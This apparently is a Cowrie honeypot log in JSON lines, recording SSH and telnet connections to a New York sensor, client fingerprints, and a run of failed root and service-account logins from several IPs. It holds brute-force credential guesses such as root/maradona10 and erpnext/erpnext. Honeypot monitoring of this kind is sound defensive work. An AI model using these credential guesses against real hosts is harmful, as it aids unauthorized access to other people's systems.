{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:8c:38:ad:c3:2c:fb:be:39:4d:1e:bb:37:b9:46:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXQ1B/cOjhw2EAw07tWnPAVT+43TFqrTYw8LXMcaDM/GwqRbrpaviQVB0Gb+hFDGDg5f0v9sgDEth0ynBvHrVfT0smLvo/JpGHS9WWgw7ugyYOfvRyX9HZrLWQ0DJafc3SoUersb92JFPBq6D1UHRnO5PknoIWF5XUrDM9tzfKF47l7xC5ww6RxXFvUGq3IANIXP8uHTg/RXpVO4LVJ/WCj0hd4brHS5mRRs56iobQ4adgY1759rwqFlK/ZUcQmt9sn971KgBcodGi1axtg8ZOqJAkWfT+/Da0G2LdBq4c4GE0hIHoAxrq3YfL/wiXYxfo+QQJLAJ339vjmwB5IzP7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.145861Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.215186Z","src_ip":"185.236.22.41","session":"499593990cea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:39:78:1b:2c:f5:ba:a5:16:a9:b2:d3:6d:38:ba:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgV0NyoBtyaZxUix4P/im7ttdGKbEjuKMdeaFgcecLZuoAAQT3cDlD/MSdYxH5jwvWb0APrfTnplr7iuGsRm1xBHycYRAF59/we5wLpeIZZyPYGJD4qBDCZS7g8dNo0RBQQ6SASYyWuD7bvp5CYRx8Qokd9wkWUzQ3hUMA9okOz/p2ExYCdpd49HTeRb4k6N9FWmXXAKvGDv3+ZOiewtvcJgsIbrVFX0XNoLJWHaZMo7/xNO2gtG88QmYVvAsXEgYfgMkVfulw3uKgbOGW1GAX2A8Cqg3urSQQOMEuwHSuTcl2w1n2Wh7rGMUT1ohSILBWptLxNxYi5pNhQh+MzTf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:39:78:1b:2c:f5:ba:a5:16:a9:b2:d3:6d:38:ba:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.268541Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:39:78:1b:2c:f5:ba:a5:16:a9:b2:d3:6d:38:ba:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCgV0NyoBtyaZxUix4P/im7ttdGKbEjuKMdeaFgcecLZuoAAQT3cDlD/MSdYxH5jwvWb0APrfTnplr7iuGsRm1xBHycYRAF59/we5wLpeIZZyPYGJD4qBDCZS7g8dNo0RBQQ6SASYyWuD7bvp5CYRx8Qokd9wkWUzQ3hUMA9okOz/p2ExYCdpd49HTeRb4k6N9FWmXXAKvGDv3+ZOiewtvcJgsIbrVFX0XNoLJWHaZMo7/xNO2gtG88QmYVvAsXEgYfgMkVfulw3uKgbOGW1GAX2A8Cqg3urSQQOMEuwHSuTcl2w1n2Wh7rGMUT1ohSILBWptLxNxYi5pNhQh+MzTf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.272866Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:2f:35:77:17:1d:ca:0d:71:ed:b1:7a:0b:4a:ea:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArtVP6R+6cnVQHj8LCQVVANG79DUyATOZBQwCPKs0Kl1M8MRT0c1PMtL9oVPzaNc4MEpwEeHOyxDHIjckVsZUZF4Aoj34tE59coSdHq0pqEIyWqSYxHPLRMPwHJUU/9b7/DeAg848aCni6cWu74t/d16FR85dbgTCOHtdDjbDACenOclr0NxCbOBCN/HQHb97Nufxuxn8hqq/LjbUkWGqsPw9PlrUnJWX7yLQEPxMsdi2F71eYnqCkU34eKW9L5TVpeAoZ7oI7R4oBQH68su9ZOuuqhycfYL2bQgJX2MJ5U4MWuAZ7eG4ScdUDdiXWNoIzdQRRNk2qVqIWRnzvtUQtYlXxeTJf9MFWN4PYHuGNWHY9veBi1xPuY2yZUwsWgQK/STk51sx2JKKQ+H7IeKVhv0oIqfXgyVAkGvx2zpMNdaTRpUJ5o6y8K8Fvuiz/V1oOV7r7NL33XF9tMZ3xvKl+0svNjcvN3mQRfMqVcOkwpub0XQikEnX3MiR40adAr3ySqSCFQmHVdLPE68ljpStmytkq5v2GtFN7ffqbE2rOSvX1/rguLme0scC68pDDjDpDtmOuE7cnmSz8R+lsVXJ/ujvcamYtDZWnqBAhTO3k9rrm608R1Bzbp/tuorqXIShS0q8lqpfmpnpMtqksA42uUqrS3jjMIu5h0BP9xGexOU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:2f:35:77:17:1d:ca:0d:71:ed:b1:7a:0b:4a:ea:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.396121Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:2f:35:77:17:1d:ca:0d:71:ed:b1:7a:0b:4a:ea:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEArtVP6R+6cnVQHj8LCQVVANG79DUyATOZBQwCPKs0Kl1M8MRT0c1PMtL9oVPzaNc4MEpwEeHOyxDHIjckVsZUZF4Aoj34tE59coSdHq0pqEIyWqSYxHPLRMPwHJUU/9b7/DeAg848aCni6cWu74t/d16FR85dbgTCOHtdDjbDACenOclr0NxCbOBCN/HQHb97Nufxuxn8hqq/LjbUkWGqsPw9PlrUnJWX7yLQEPxMsdi2F71eYnqCkU34eKW9L5TVpeAoZ7oI7R4oBQH68su9ZOuuqhycfYL2bQgJX2MJ5U4MWuAZ7eG4ScdUDdiXWNoIzdQRRNk2qVqIWRnzvtUQtYlXxeTJf9MFWN4PYHuGNWHY9veBi1xPuY2yZUwsWgQK/STk51sx2JKKQ+H7IeKVhv0oIqfXgyVAkGvx2zpMNdaTRpUJ5o6y8K8Fvuiz/V1oOV7r7NL33XF9tMZ3xvKl+0svNjcvN3mQRfMqVcOkwpub0XQikEnX3MiR40adAr3ySqSCFQmHVdLPE68ljpStmytkq5v2GtFN7ffqbE2rOSvX1/rguLme0scC68pDDjDpDtmOuE7cnmSz8R+lsVXJ/ujvcamYtDZWnqBAhTO3k9rrm608R1Bzbp/tuorqXIShS0q8lqpfmpnpMtqksA42uUqrS3jjMIu5h0BP9xGexOU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.399494Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.523701Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":52986,"dst_ip":"159.203.135.109","dst_port":22,"session":"aadda0dcdcfb","protocol":"ssh","message":"New connection: 45.156.87.69:52986 (159.203.135.109:22) [session: aadda0dcdcfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.577002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.583027Z","src_ip":"45.156.87.69","session":"aadda0dcdcfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.681098Z","src_ip":"45.156.87.69","session":"aadda0dcdcfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forever","message":"login attempt [root/forever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.778930Z","src_ip":"185.236.22.41","session":"499593990cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:35.224897Z","src_ip":"45.156.87.69","session":"aadda0dcdcfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:35.896065Z","src_ip":"185.236.22.41","session":"499593990cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:36.360535Z","src_ip":"45.156.87.69","session":"aadda0dcdcfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24560,"dst_ip":"159.203.135.109","dst_port":22,"session":"813e1a5b6ebd","protocol":"ssh","message":"New connection: 45.156.87.69:24560 (159.203.135.109:22) [session: 813e1a5b6ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:38.357378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:38.362007Z","src_ip":"45.156.87.69","session":"813e1a5b6ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:38.478043Z","src_ip":"45.156.87.69","session":"813e1a5b6ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.938196659088135,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:38.669808Z","src_ip":"152.42.224.71","session":"cdbf38f32baa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"a1","password":"a1","message":"login attempt [a1/a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:39.115854Z","src_ip":"45.156.87.69","session":"813e1a5b6ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:40.349146Z","src_ip":"45.156.87.69","session":"813e1a5b6ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57584,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a527395290b","protocol":"telnet","message":"New connection: 152.42.224.71:57584 (10.17.0.5:23) [session: 6a527395290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:41.980556Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24568,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd8eb2895f19","protocol":"ssh","message":"New connection: 45.156.87.69:24568 (159.203.135.109:22) [session: dd8eb2895f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:42.056422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:42.167217Z","src_ip":"45.156.87.69","session":"dd8eb2895f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:42.170891Z","src_ip":"45.156.87.69","session":"dd8eb2895f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.224859714508057,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:42.298375Z","src_ip":"181.209.80.244","session":"1942381f5d74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"maradona10","message":"login attempt [root/maradona10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:43.269809Z","src_ip":"45.156.87.69","session":"dd8eb2895f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57598,"dst_ip":"10.17.0.5","dst_port":23,"session":"0334a159ff8a","protocol":"telnet","message":"New connection: 152.42.224.71:57598 (10.17.0.5:23) [session: 0334a159ff8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:43.324996Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:44.494093Z","src_ip":"45.156.87.69","session":"dd8eb2895f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d8d81ac89c","protocol":"telnet","message":"New connection: 152.42.224.71:57614 (10.17.0.5:23) [session: b2d8d81ac89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:45.169735Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24572,"dst_ip":"159.203.135.109","dst_port":22,"session":"049911ef5f1e","protocol":"ssh","message":"New connection: 45.156.87.69:24572 (159.203.135.109:22) [session: 049911ef5f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:45.701128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:45.870910Z","src_ip":"45.156.87.69","session":"049911ef5f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:45.874751Z","src_ip":"45.156.87.69","session":"049911ef5f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:47.165357Z","src_ip":"45.156.87.69","session":"049911ef5f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:48.250288Z","src_ip":"45.156.87.69","session":"049911ef5f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":55976,"dst_ip":"159.203.135.109","dst_port":22,"session":"2929da18ad37","protocol":"ssh","message":"New connection: 45.156.87.69:55976 (159.203.135.109:22) [session: 2929da18ad37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:49.606262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:49.707059Z","src_ip":"45.156.87.69","session":"2929da18ad37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:49.712361Z","src_ip":"45.156.87.69","session":"2929da18ad37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:50.583078Z","src_ip":"45.156.87.69","session":"2929da18ad37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:51.674204Z","src_ip":"45.156.87.69","session":"2929da18ad37","protocol":"ssh"}
